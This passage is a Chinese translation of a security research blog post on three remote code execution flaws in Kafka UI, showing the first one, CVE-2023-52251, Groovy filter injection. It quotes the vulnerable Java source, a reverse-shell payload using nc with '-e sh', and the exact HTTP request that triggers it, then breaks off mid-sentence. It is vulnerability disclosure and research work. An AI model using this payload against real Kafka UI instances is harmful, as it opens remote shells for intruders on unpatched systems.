在 Kafka UI 中获得远程代码执行的 3 种方法

在 Kafka UI 中获得远程代码执行的 3 种方法

在这篇博文中,我们将解释我们如何在 Kafka UI 中发现三个关键漏洞,以及如何利用这些漏洞。

迈克尔·斯捷潘金·@artsploit

7月 22, 2024|更新时间:2024 年 7 月 23 日

|10 分钟

  • 共享:

Kafka UI 是一种流行的开源 Web 应用程序,旨在管理和监控 Apache Kafka 集群。它主要由开发人员和管理员用于提供连接的 Kafka 集群的可视化表示。一些用户可能不知道,在其默认配置中,Kafka UI 不需要身份验证即可读取和写入数据。这会导致许多未受保护的 Kafka UI 实例部署在内部网络中,甚至暴露在 Internet 上。它可能不被视为一个重大的安全问题,因为暴露的数据可能是公开的或根本不敏感,但它可能会打开通往内部网络的大门。

在我的安全研究中,我很好奇,也许我能找到一种方法,不仅可以查看发送到 Kafka 的消息,还可以读取文件、发现凭据,甚至获得远程代码执行 (RCE)。在这篇博文中,我将分享我如何在 Kafka UI 中找到三种不同的 RCE 漏洞的过程。

这些漏洞已在 0.7.2 版本中修复,因此如果您使用 Kafka UI,请务必升级!

CVE-2023-52251:通过 Groovy 脚本执行的 RCE

浏览了 Kafka UI 的 Web 界面后,消息过滤功能引起了我的注意。Kafka UI 允许您提供一个简单的查询来筛选服务器端的消息。当我查看源代码时,我发现 Kafka 内部支持过滤器类型并将其作为 Groovy 脚本进行评估,这使得攻击者有可能执行任意代码。GROOVY_SCRIPT

MessageFilters.java


public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
    switch (type) {
      case STRING_CONTAINS:
        return containsStringFilter(query);
      case GROOVY_SCRIPT:
        return groovyScriptFilter(query);
      default:
        throw new IllegalStateException("Unknown query type: " + type);
    }
  }

要对其进行测试,请通过 UI 导航到其中一个集群,然后选择其中一个主题并单击 “Messages” 选项卡。然后,创建包含以下内容的新筛选条件:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()

使用反向 shell 生成 ProcessBuilder 的 Filter

这个 Groovy 脚本将生成一个带有反向 shell 的新进程到您的地址。当我们通过 UI 执行此操作时,浏览器会向服务器发送以下请求:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091

您可以在 HTTP 客户端(如 Burp Suite Repeater)中重新发出和试验此请求。

使用反向 shell 触发漏洞利用的 Http 请求

默认的 Kaf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值